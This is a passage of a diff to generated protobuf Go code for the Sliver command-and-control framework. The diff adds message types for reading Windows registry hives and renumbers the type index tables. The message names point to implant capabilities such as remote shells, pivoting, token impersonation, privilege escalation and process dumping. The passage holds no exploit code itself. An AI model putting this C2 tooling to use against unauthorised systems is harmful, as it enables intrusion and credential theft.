0x12, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8b, 0x01, 0x0a, 0x0d, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, 0x30, 0x0a, 0x06, + 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, + 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x52, 0x06, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, 0x18, + 0x0a, 0x07, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x80, 0x01, 0x0a, 0x15, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x3a, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, + 0x6f, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, + 0x71, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2a, 0x49, 0x0a, 0x0c, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x55, + 0x6e, 0x6b, 0x6e, 0x6f, 0x77, 0x6e, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x69, 0x6e, 0x61, + 0x72, 0x79, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x10, 0x02, + 0x12, 0x09, 0x0a, 0x05, 0x44, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x51, + 0x57, 0x4f, 0x52, 0x44, 0x10, 0x04, 0x2a, 0x2c, 0x0a, 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, + 0x55, 0x44, 0x50, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, + 0x70, 0x65, 0x10, 0x02, 0x2a, 0x33, 0x0a, 0x0f, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, + 0x75, 0x72, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x4e, 0x44, 0x5f, + 0x46, 0x41, 0x49, 0x4c, 0x55, 0x52, 0x45, 0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x49, 0x53, + 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x10, 0x01, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, + 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var ( @@ -13460,7 +13602,7 @@ func file_sliverpb_sliver_proto_rawDescGZIP() []byte { } var file_sliverpb_sliver_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_sliverpb_sliver_proto_msgTypes = make([]protoimpl.MessageInfo, 182) +var file_sliverpb_sliver_proto_msgTypes = make([]protoimpl.MessageInfo, 184) var file_sliverpb_sliver_proto_goTypes = []interface{}{ (RegistryType)(0), // 0: sliverpb.RegistryType (PivotType)(0), // 1: sliverpb.PivotType @@ -13566,287 +13708,291 @@ var file_sliverpb_sliver_proto_goTypes = []interface{}{ (*RegistrySubKeyList)(nil), // 101: sliverpb.RegistrySubKeyList (*RegistryListValuesReq)(nil), // 102: sliverpb.RegistryListValuesReq (*RegistryValuesList)(nil), // 103: sliverpb.RegistryValuesList - (*Tunnel)(nil), // 104: sliverpb.Tunnel - (*TunnelData)(nil), // 105: sliverpb.TunnelData - (*ShellReq)(nil), // 106: sliverpb.ShellReq - (*Shell)(nil), // 107: sliverpb.Shell - (*PortfwdReq)(nil), // 108: sliverpb.PortfwdReq - (*Portfwd)(nil), // 109: sliverpb.Portfwd - (*Socks)(nil), // 110: sliverpb.Socks - (*SocksData)(nil), // 111: sliverpb.SocksData - (*PivotStartListenerReq)(nil), // 112: sliverpb.PivotStartListenerReq - (*PivotStopListenerReq)(nil), // 113: sliverpb.PivotStopListenerReq - (*PivotListener)(nil), // 114: sliverpb.PivotListener - (*PivotHello)(nil), // 115: sliverpb.PivotHello - (*PivotServerKeyExchange)(nil), // 116: sliverpb.PivotServerKeyExchange - (*PivotPeer)(nil), // 117: sliverpb.PivotPeer - (*PivotPeerEnvelope)(nil), // 118: sliverpb.PivotPeerEnvelope - (*PivotPing)(nil), // 119: sliverpb.PivotPing - (*NetConnPivot)(nil), // 120: sliverpb.NetConnPivot - (*PivotPeerFailure)(nil), // 121: sliverpb.PivotPeerFailure - (*PivotListenersReq)(nil), // 122: sliverpb.PivotListenersReq - (*PivotListeners)(nil), // 123: sliverpb.PivotListeners - (*WGPortForwardStartReq)(nil), // 124: sliverpb.WGPortForwardStartReq - (*WGPortForward)(nil), // 125: sliverpb.WGPortForward - (*WGPortForwardStopReq)(nil), // 126: sliverpb.WGPortForwardStopReq - (*WGSocksStartReq)(nil), // 127: sliverpb.WGSocksStartReq - (*WGSocks)(nil), // 128: sliverpb.WGSocks - (*WGSocksStopReq)(nil), // 129: sliverpb.WGSocksStopReq - (*WGTCPForwardersReq)(nil), // 130: sliverpb.WGTCPForwardersReq - (*WGSocksServersReq)(nil), // 131: sliverpb.WGSocksServersReq - (*WGTCPForwarder)(nil), // 132: sliverpb.WGTCPForwarder - (*WGSocksServer)(nil), // 133: sliverpb.WGSocksServer - (*WGSocksServers)(nil), // 134: sliverpb.WGSocksServers - (*WGTCPForwarders)(nil), // 135: sliverpb.WGTCPForwarders - (*ReconfigureReq)(nil), // 136: sliverpb.ReconfigureReq - (*Reconfigure)(nil), // 137: sliverpb.Reconfigure - (*PollIntervalReq)(nil), // 138: sliverpb.PollIntervalReq - (*PollInterval)(nil), // 139: sliverpb.PollInterval - (*SSHCommandReq)(nil), // 140: sliverpb.SSHCommandReq - (*SSHCommand)(nil), // 141: sliverpb.SSHCommand - (*GetPrivsReq)(nil), // 142: sliverpb.GetPrivsReq - (*WindowsPrivilegeEntry)(nil), // 143: sliverpb.WindowsPrivilegeEntry - (*GetPrivs)(nil), // 144: sliverpb.GetPrivs - (*RegisterExtensionReq)(nil), // 145: sliverpb.RegisterExtensionReq - (*RegisterExtension)(nil), // 146: sliverpb.RegisterExtension - (*CallExtensionReq)(nil), // 147: sliverpb.CallExtensionReq - (*CallExtension)(nil), // 148: sliverpb.CallExtension - (*ListExtensionsReq)(nil), // 149: sliverpb.ListExtensionsReq - (*ListExtensions)(nil), // 150: sliverpb.ListExtensions - (*RportFwdStopListenerReq)(nil), // 151: sliverpb.RportFwdStopListenerReq - (*RportFwdStartListenerReq)(nil), // 152: sliverpb.RportFwdStartListenerReq - (*RportFwdListener)(nil), // 153: sliverpb.RportFwdListener - (*RportFwdListeners)(nil), // 154: sliverpb.RportFwdListeners - (*RportFwdListenersReq)(nil), // 155: sliverpb.RportFwdListenersReq - (*RPortfwd)(nil), // 156: sliverpb.RPortfwd - (*RPortfwdReq)(nil), // 157: sliverpb.RPortfwdReq - (*ChmodReq)(nil), // 158: sliverpb.ChmodReq - (*Chmod)(nil), // 159: sliverpb.Chmod - (*ChownReq)(nil), // 160: sliverpb.ChownReq - (*Chown)(nil), // 161: sliverpb.Chown - (*ChtimesReq)(nil), // 162: sliverpb.ChtimesReq - (*Chtimes)(nil), // 163: sliverpb.Chtimes - (*MemfilesListReq)(nil), // 164: sliverpb.MemfilesListReq - (*MemfilesAddReq)(nil), // 165: sliverpb.MemfilesAddReq - (*MemfilesAdd)(nil), // 166: sliverpb.MemfilesAdd - (*MemfilesRmReq)(nil), // 167: sliverpb.MemfilesRmReq - (*MemfilesRm)(nil), // 168: sliverpb.MemfilesRm - (*RegisterWasmExtensionReq)(nil), // 169: sliverpb.RegisterWasmExtensionReq - (*RegisterWasmExtension)(nil), // 170: sliverpb.RegisterWasmExtension - (*DeregisterWasmExtensionReq)(nil), // 171: sliverpb.DeregisterWasmExtensionReq - (*ListWasmExtensionsReq)(nil), // 172: sliverpb.ListWasmExtensionsReq - (*ListWasmExtensions)(nil), // 173: sliverpb.ListWasmExtensions - (*ExecWasmExtensionReq)(nil), // 174: sliverpb.ExecWasmExtensionReq - (*ExecWasmExtension)(nil), // 175: sliverpb.ExecWasmExtension - (*ServicesReq)(nil), // 176: sliverpb.ServicesReq - (*ServiceDetailReq)(nil), // 177: sliverpb.ServiceDetailReq - (*ServiceDetails)(nil), // 178: sliverpb.ServiceDetails - (*Services)(nil), // 179: sliverpb.Services - (*ServiceDetail)(nil), // 180: sliverpb.ServiceDetail - (*StartServiceByNameReq)(nil), // 181: sliverpb.StartServiceByNameReq - nil, // 182: sliverpb.Grep.ResultsEntry - (*SockTabEntry_SockAddr)(nil), // 183: sliverpb.SockTabEntry.SockAddr - nil, // 184: sliverpb.ExecWasmExtensionReq.MemFSEntry - (*commonpb.Response)(nil), // 185: commonpb.Response - (*commonpb.Request)(nil), // 186: commonpb.Request - (*commonpb.Process)(nil), // 187: commonpb.Process - (*commonpb.EnvVar)(nil), // 188: commonpb.EnvVar + (*RegistryReadHiveReq)(nil), // 104: sliverpb.RegistryReadHiveReq + (*RegistryReadHive)(nil), // 105: sliverpb.RegistryReadHive + (*Tunnel)(nil), // 106: sliverpb.Tunnel + (*TunnelData)(nil), // 107: sliverpb.TunnelData + (*ShellReq)(nil), // 108: sliverpb.ShellReq + (*Shell)(nil), // 109: sliverpb.Shell + (*PortfwdReq)(nil), // 110: sliverpb.PortfwdReq + (*Portfwd)(nil), // 111: sliverpb.Portfwd + (*Socks)(nil), // 112: sliverpb.Socks + (*SocksData)(nil), // 113: sliverpb.SocksData + (*PivotStartListenerReq)(nil), // 114: sliverpb.PivotStartListenerReq + (*PivotStopListenerReq)(nil), // 115: sliverpb.PivotStopListenerReq + (*PivotListener)(nil), // 116: sliverpb.PivotListener + (*PivotHello)(nil), // 117: sliverpb.PivotHello + (*PivotServerKeyExchange)(nil), // 118: sliverpb.PivotServerKeyExchange + (*PivotPeer)(nil), // 119: sliverpb.PivotPeer + (*PivotPeerEnvelope)(nil), // 120: sliverpb.PivotPeerEnvelope + (*PivotPing)(nil), // 121: sliverpb.PivotPing + (*NetConnPivot)(nil), // 122: sliverpb.NetConnPivot + (*PivotPeerFailure)(nil), // 123: sliverpb.PivotPeerFailure + (*PivotListenersReq)(nil), // 124: sliverpb.PivotListenersReq + (*PivotListeners)(nil), // 125: sliverpb.PivotListeners + (*WGPortForwardStartReq)(nil), // 126: sliverpb.WGPortForwardStartReq + (*WGPortForward)(nil), // 127: sliverpb.WGPortForward + (*WGPortForwardStopReq)(nil), // 128: sliverpb.WGPortForwardStopReq + (*WGSocksStartReq)(nil), // 129: sliverpb.WGSocksStartReq + (*WGSocks)(nil), // 130: sliverpb.WGSocks + (*WGSocksStopReq)(nil), // 131: sliverpb.WGSocksStopReq + (*WGTCPForwardersReq)(nil), // 132: sliverpb.WGTCPForwardersReq + (*WGSocksServersReq)(nil), // 133: sliverpb.WGSocksServersReq + (*WGTCPForwarder)(nil), // 134: sliverpb.WGTCPForwarder + (*WGSocksServer)(nil), // 135: sliverpb.WGSocksServer + (*WGSocksServers)(nil), // 136: sliverpb.WGSocksServers + (*WGTCPForwarders)(nil), // 137: sliverpb.WGTCPForwarders + (*ReconfigureReq)(nil), // 138: sliverpb.ReconfigureReq + (*Reconfigure)(nil), // 139: sliverpb.Reconfigure + (*PollIntervalReq)(nil), // 140: sliverpb.PollIntervalReq + (*PollInterval)(nil), // 141: sliverpb.PollInterval + (*SSHCommandReq)(nil), // 142: sliverpb.SSHCommandReq + (*SSHCommand)(nil), // 143: sliverpb.SSHCommand + (*GetPrivsReq)(nil), // 144: sliverpb.GetPrivsReq + (*WindowsPrivilegeEntry)(nil), // 145: sliverpb.WindowsPrivilegeEntry + (*GetPrivs)(nil), // 146: sliverpb.GetPrivs + (*RegisterExtensionReq)(nil), // 147: sliverpb.RegisterExtensionReq + (*RegisterExtension)(nil), // 148: sliverpb.RegisterExtension + (*CallExtensionReq)(nil), // 149: sliverpb.CallExtensionReq + (*CallExtension)(nil), // 150: sliverpb.CallExtension + (*ListExtensionsReq)(nil), // 151: sliverpb.ListExtensionsReq + (*ListExtensions)(nil), // 152: sliverpb.ListExtensions + (*RportFwdStopListenerReq)(nil), // 153: sliverpb.RportFwdStopListenerReq + (*RportFwdStartListenerReq)(nil), // 154: sliverpb.RportFwdStartListenerReq + (*RportFwdListener)(nil), // 155: sliverpb.RportFwdListener + (*RportFwdListeners)(nil), // 156: sliverpb.RportFwdListeners + (*RportFwdListenersReq)(nil), // 157: sliverpb.RportFwdListenersReq + (*RPortfwd)(nil), // 158: sliverpb.RPortfwd + (*RPortfwdReq)(nil), // 159: sliverpb.RPortfwdReq + (*ChmodReq)(nil), // 160: sliverpb.ChmodReq + (*Chmod)(nil), // 161: sliverpb.Chmod + (*ChownReq)(nil), // 162: sliverpb.ChownReq + (*Chown)(nil), // 163: sliverpb.Chown + (*ChtimesReq)(nil), // 164: sliverpb.ChtimesReq + (*Chtimes)(nil), // 165: sliverpb.Chtimes + (*MemfilesListReq)(nil), // 166: sliverpb.MemfilesListReq + (*MemfilesAddReq)(nil), // 167: sliverpb.MemfilesAddReq + (*MemfilesAdd)(nil), // 168: sliverpb.MemfilesAdd + (*MemfilesRmReq)(nil), // 169: sliverpb.MemfilesRmReq + (*MemfilesRm)(nil), // 170: sliverpb.MemfilesRm + (*RegisterWasmExtensionReq)(nil), // 171: sliverpb.RegisterWasmExtensionReq + (*RegisterWasmExtension)(nil), // 172: sliverpb.RegisterWasmExtension + (*DeregisterWasmExtensionReq)(nil), // 173: sliverpb.DeregisterWasmExtensionReq + (*ListWasmExtensionsReq)(nil), // 174: sliverpb.ListWasmExtensionsReq + (*ListWasmExtensions)(nil), // 175: sliverpb.ListWasmExtensions + (*ExecWasmExtensionReq)(nil), // 176: sliverpb.ExecWasmExtensionReq + (*ExecWasmExtension)(nil), // 177: sliverpb.ExecWasmExtension + (*ServicesReq)(nil), // 178: sliverpb.ServicesReq + (*ServiceDetailReq)(nil), // 179: sliverpb.ServiceDetailReq + (*ServiceDetails)(nil), // 180: sliverpb.ServiceDetails + (*Services)(nil), // 181: sliverpb.Services + (*ServiceDetail)(nil), // 182: sliverpb.ServiceDetail + (*StartServiceByNameReq)(nil), // 183: sliverpb.StartServiceByNameReq + nil, // 184: sliverpb.Grep.ResultsEntry + (*SockTabEntry_SockAddr)(nil), // 185: sliverpb.SockTabEntry.SockAddr + nil, // 186: sliverpb.ExecWasmExtensionReq.MemFSEntry + (*commonpb.Response)(nil), // 187: commonpb.Response + (*commonpb.Request)(nil), // 188: commonpb.Request + (*commonpb.Process)(nil), // 189: commonpb.Process + (*commonpb.EnvVar)(nil), // 190: commonpb.EnvVar } var file_sliverpb_sliver_proto_depIdxs = []int32{ 3, // 0: sliverpb.BeaconTasks.Tasks:type_name -> sliverpb.Envelope 5, // 1: sliverpb.BeaconRegister.Register:type_name -> sliverpb.Register 5, // 2: sliverpb.SessionRegister.Register:type_name -> sliverpb.Register - 185, // 3: sliverpb.OpenSession.Response:type_name -> commonpb.Response - 186, // 4: sliverpb.OpenSession.Request:type_name -> commonpb.Request - 185, // 5: sliverpb.CloseSession.Response:type_name -> commonpb.Response - 186, // 6: sliverpb.CloseSession.Request:type_name -> commonpb.Request - 185, // 7: sliverpb.Ping.Response:type_name -> commonpb.Response - 186, // 8: sliverpb.Ping.Request:type_name -> commonpb.Request - 186, // 9: sliverpb.KillReq.Request:type_name -> commonpb.Request - 186, // 10: sliverpb.PsReq.Request:type_name -> commonpb.Request - 187, // 11: sliverpb.Ps.Processes:type_name -> commonpb.Process - 185, // 12: sliverpb.Ps.Response:type_name -> commonpb.Response - 186, // 13: sliverpb.TerminateReq.Request:type_name -> commonpb.Request - 185, // 14: sliverpb.Terminate.Response:type_name -> commonpb.Response - 186, // 15: sliverpb.IfconfigReq.Request:type_name -> commonpb.Request + 187, // 3: sliverpb.OpenSession.Response:type_name -> commonpb.Response + 188, // 4: sliverpb.OpenSession.Request:type_name -> commonpb.Request + 187, // 5: sliverpb.CloseSession.Response:type_name -> commonpb.Response + 188, // 6: sliverpb.CloseSession.Request:type_name -> commonpb.Request + 187, // 7: sliverpb.Ping.Response:type_name -> commonpb.Response + 188, // 8: sliverpb.Ping.Request:type_name -> commonpb.Request + 188, // 9: sliverpb.KillReq.Request:type_name -> commonpb.Request + 188, // 10: sliverpb.PsReq.Request:type_name -> commonpb.Request + 189, // 11: sliverpb.Ps.Processes:type_name -> commonpb.Process + 187, // 12: sliverpb.Ps.Response:type_name -> commonpb.Response + 188, // 13: sliverpb.TerminateReq.Request:type_name -> commonpb.Request + 187, // 14: sliverpb.Terminate.Response:type_name -> commonpb.Response + 188, // 15: sliverpb.IfconfigReq.Request:type_name -> commonpb.Request 18, // 16: sliverpb.Ifconfig.NetInterfaces:type_name -> sliverpb.NetInterface - 185, // 17: sliverpb.Ifconfig.Response:type_name -> commonpb.Response - 186, // 18: sliverpb.LsReq.Request:type_name -> commonpb.Request + 187, // 17: sliverpb.Ifconfig.Response:type_name -> commonpb.Response + 188, // 18: sliverpb.LsReq.Request:type_name -> commonpb.Request 21, // 19: sliverpb.Ls.Files:type_name -> sliverpb.FileInfo - 185, // 20: sliverpb.Ls.Response:type_name -> commonpb.Response - 186, // 21: sliverpb.CdReq.Request:type_name -> commonpb.Request - 186, // 22: sliverpb.PwdReq.Request:type_name -> commonpb.Request - 185, // 23: sliverpb.Pwd.Response:type_name -> commonpb.Response - 186, // 24: sliverpb.RmReq.Request:type_name -> commonpb.Request - 185, // 25: sliverpb.Rm.Response:type_name -> commonpb.Response - 186, // 26: sliverpb.MvReq.Request:type_name -> commonpb.Request - 185, // 27: sliverpb.Mv.Response:type_name -> commonpb.Response - 186, // 28: sliverpb.CpReq.Request:type_name -> commonpb.Request - 185, // 29: sliverpb.Cp.Response:type_name -> commonpb.Response - 186, // 30: sliverpb.MkdirReq.Request:type_name -> commonpb.Request - 185, // 31: sliverpb.Mkdir.Response:type_name -> commonpb.Response - 186, // 32: sliverpb.DownloadReq.Request:type_name -> commonpb.Request - 185, // 33: sliverpb.Download.Response:type_name -> commonpb.Response - 186, // 34: sliverpb.UploadReq.Request:type_name -> commonpb.Request - 185, // 35: sliverpb.Upload.Response:type_name -> commonpb.Response - 186, // 36: sliverpb.GrepReq.Request:type_name -> commonpb.Request + 187, // 20: sliverpb.Ls.Response:type_name -> commonpb.Response + 188, // 21: sliverpb.CdReq.Request:type_name -> commonpb.Request + 188, // 22: sliverpb.PwdReq.Request:type_name -> commonpb.Request + 187, // 23: sliverpb.Pwd.Response:type_name -> commonpb.Response + 188, // 24: sliverpb.RmReq.Request:type_name -> commonpb.Request + 187, // 25: sliverpb.Rm.Response:type_name -> commonpb.Response + 188, // 26: sliverpb.MvReq.Request:type_name -> commonpb.Request + 187, // 27: sliverpb.Mv.Response:type_name -> commonpb.Response + 188, // 28: sliverpb.CpReq.Request:type_name -> commonpb.Request + 187, // 29: sliverpb.Cp.Response:type_name -> commonpb.Response + 188, // 30: sliverpb.MkdirReq.Request:type_name -> commonpb.Request + 187, // 31: sliverpb.Mkdir.Response:type_name -> commonpb.Response + 188, // 32: sliverpb.DownloadReq.Request:type_name -> commonpb.Request + 187, // 33: sliverpb.Download.Response:type_name -> commonpb.Response + 188, // 34: sliverpb.UploadReq.Request:type_name -> commonpb.Request + 187, // 35: sliverpb.Upload.Response:type_name -> commonpb.Response + 188, // 36: sliverpb.GrepReq.Request:type_name -> commonpb.Request 38, // 37: sliverpb.GrepResult.Positions:type_name -> sliverpb.GrepLinePosition 39, // 38: sliverpb.GrepResultsForFile.FileResults:type_name -> sliverpb.GrepResult - 182, // 39: sliverpb.Grep.Results:type_name -> sliverpb.Grep.ResultsEntry - 185, // 40: sliverpb.Grep.Response:type_name -> commonpb.Response - 186, // 41: sliverpb.ProcessDumpReq.Request:type_name -> commonpb.Request - 185, // 42: sliverpb.ProcessDump.Response:type_name -> commonpb.Response - 186, // 43: sliverpb.RunAsReq.Request:type_name -> commonpb.Request - 185, // 44: sliverpb.RunAs.Response:type_name -> commonpb.Response - 186, // 45: sliverpb.ImpersonateReq.Request:type_name -> commonpb.Request - 185, // 46: sliverpb.Impersonate.Response:type_name -> commonpb.Response - 186, // 47: sliverpb.RevToSelfReq.Request:type_name -> commonpb.Request - 185, // 48: sliverpb.RevToSelf.Response:type_name -> commonpb.Response - 186, // 49: sliverpb.CurrentTokenOwnerReq.Request:type_name -> commonpb.Request - 185, // 50: sliverpb.CurrentTokenOwner.Response:type_name -> commonpb.Response - 186, // 51: sliverpb.InvokeGetSystemReq.Request:type_name -> commonpb.Request - 185, // 52: sliverpb.GetSystem.Response:type_name -> commonpb.Response - 186, // 53: sliverpb.MakeTokenReq.Request:type_name -> commonpb.Request - 185, // 54: sliverpb.MakeToken.Response:type_name -> commonpb.Response - 186, // 55: sliverpb.TaskReq.Request:type_name -> commonpb.Request - 185, // 56: sliverpb.Task.Response:type_name -> commonpb.Response - 186, // 57: sliverpb.ExecuteAssemblyReq.Request:type_name -> commonpb.Request - 186, // 58: sliverpb.InvokeExecuteAssemblyReq.Request:type_name -> commonpb.Request - 186, // 59: sliverpb.InvokeInProcExecuteAssemblyReq.Request:type_name -> commonpb.Request - 185, // 60: sliverpb.ExecuteAssembly.Response:type_name -> commonpb.Response - 186, // 61: sliverpb.InvokeMigrateReq.Request:type_name -> commonpb.Request - 185, // 62: sliverpb.Migrate.Response:type_name -> commonpb.Response - 186, // 63: sliverpb.ExecuteReq.Request:type_name -> commonpb.Request - 186, // 64: sliverpb.ExecuteWindowsReq.Request:type_name -> commonpb.Request - 185, // 65: sliverpb.Execute.Response:type_name -> commonpb.Response - 186, // 66: sliverpb.SideloadReq.Request:type_name -> commonpb.Request - 185, // 67: sliverpb.Sideload.Response:type_name -> commonpb.Response - 186, // 68: sliverpb.InvokeSpawnDllReq.Request:type_name -> commonpb.Request - 186, // 69: sliverpb.SpawnDllReq.Request:type_name -> commonpb.Request - 185, // 70: sliverpb.SpawnDll.Response:type_name -> commonpb.Response - 186, // 71: sliverpb.NetstatReq.Request:type_name -> commonpb.Request - 183, // 72: sliverpb.SockTabEntry.LocalAddr:type_name -> sliverpb.SockTabEntry.SockAddr - 183, // 73: sliverpb.SockTabEntry.RemoteAddr:type_name -> sliverpb.SockTabEntry.SockAddr - 187, // 74: sliverpb.SockTabEntry.Process:type_name -> commonpb.Process + 184, // 39: sliverpb.Grep.Results:type_name -> sliverpb.Grep.ResultsEntry + 187, // 40: sliverpb.Grep.Response:type_name -> commonpb.Response + 188, // 41: sliverpb.ProcessDumpReq.Request:type_name -> commonpb.Request + 187, // 42: sliverpb.ProcessDump.Response:type_name -> commonpb.Response + 188, // 43: sliverpb.RunAsReq.Request:type_name -> commonpb.Request + 187, // 44: sliverpb.RunAs.Response:type_name -> commonpb.Response + 188, // 45: sliverpb.ImpersonateReq.Request:type_name -> commonpb.Request + 187, // 46: sliverpb.Impersonate.Response:type_name -> commonpb.Response + 188, // 47: sliverpb.RevToSelfReq.Request:type_name -> commonpb.Request + 187, // 48: sliverpb.RevToSelf.Response:type_name -> commonpb.Response + 188, // 49: sliverpb.CurrentTokenOwnerReq.Request:type_name -> commonpb.Request + 187, // 50: sliverpb.CurrentTokenOwner.Response:type_name -> commonpb.Response + 188, // 51: sliverpb.InvokeGetSystemReq.Request:type_name -> commonpb.Request + 187, // 52: sliverpb.GetSystem.Response:type_name -> commonpb.Response + 188, // 53: sliverpb.MakeTokenReq.Request:type_name -> commonpb.Request + 187, // 54: sliverpb.MakeToken.Response:type_name -> commonpb.Response + 188, // 55: sliverpb.TaskReq.Request:type_name -> commonpb.Request + 187, // 56: sliverpb.Task.Response:type_name -> commonpb.Response + 188, // 57: sliverpb.ExecuteAssemblyReq.Request:type_name -> commonpb.Request + 188, // 58: sliverpb.InvokeExecuteAssemblyReq.Request:type_name -> commonpb.Request + 188, // 59: sliverpb.InvokeInProcExecuteAssemblyReq.Request:type_name -> commonpb.Request + 187, // 60: sliverpb.ExecuteAssembly.Response:type_name -> commonpb.Response + 188, // 61: sliverpb.InvokeMigrateReq.Request:type_name -> commonpb.Request + 187, // 62: sliverpb.Migrate.Response:type_name -> commonpb.Response + 188, // 63: sliverpb.ExecuteReq.Request:type_name -> commonpb.Request + 188, // 64: sliverpb.ExecuteWindowsReq.Request:type_name -> commonpb.Request + 187, // 65: sliverpb.Execute.Response:type_name -> commonpb.Response + 188, // 66: sliverpb.SideloadReq.Request:type_name -> commonpb.Request + 187, // 67: sliverpb.Sideload.Response:type_name -> commonpb.Response + 188, // 68: sliverpb.InvokeSpawnDllReq.Request:type_name -> commonpb.Request + 188, // 69: sliverpb.SpawnDllReq.Request:type_name -> commonpb.Request + 187, // 70: sliverpb.SpawnDll.Response:type_name -> commonpb.Response + 188, // 71: sliverpb.NetstatReq.Request:type_name -> commonpb.Request + 185, // 72: sliverpb.SockTabEntry.LocalAddr:type_name -> sliverpb.SockTabEntry.SockAddr + 185, // 73: sliverpb.SockTabEntry.RemoteAddr:type_name -> sliverpb.SockTabEntry.SockAddr + 189, // 74: sliverpb.SockTabEntry.Process:type_name -> commonpb.Process 73, // 75: sliverpb.Netstat.Entries:type_name -> sliverpb.SockTabEntry - 185, // 76: sliverpb.Netstat.Response:type_name -> commonpb.Response - 186, // 77: sliverpb.EnvReq.Request:type_name -> commonpb.Request - 188, // 78: sliverpb.EnvInfo.Variables:type_name -> commonpb.EnvVar - 185, // 79: sliverpb.EnvInfo.Response:type_name -> commonpb.Response - 188, // 80: sliverpb.SetEnvReq.Variable:type_name -> commonpb.EnvVar - 186, // 81: sliverpb.SetEnvReq.Request:type_name -> commonpb.Request - 185, // 82: sliverpb.SetEnv.Response:type_name -> commonpb.Response - 186, // 83: sliverpb.UnsetEnvReq.Request:type_name -> commonpb.Request - 185, // 84: sliverpb.UnsetEnv.Response:type_name -> commonpb.Response + 187, // 76: sliverpb.Netstat.Response:type_name -> commonpb.Response + 188, // 77: sliverpb.EnvReq.Request:type_name -> commonpb.Request + 190, // 78: sliverpb.EnvInfo.Variables:type_name -> commonpb.EnvVar + 187, // 79: sliverpb.EnvInfo.Response:type_name -> commonpb.Response + 190, // 80: sliverpb.SetEnvReq.Variable:type_name -> commonpb.EnvVar + 188, // 81: sliverpb.SetEnvReq.Request:type_name -> commonpb.Request + 187, // 82: sliverpb.SetEnv.Response:type_name -> commonpb.Response + 188, // 83: sliverpb.UnsetEnvReq.Request:type_name -> commonpb.Request + 187, // 84: sliverpb.UnsetEnv.Response:type_name -> commonpb.Response 83, // 85: sliverpb.DNSPoll.blocks:type_name -> sliverpb.DNSBlockHeader - 186, // 86: 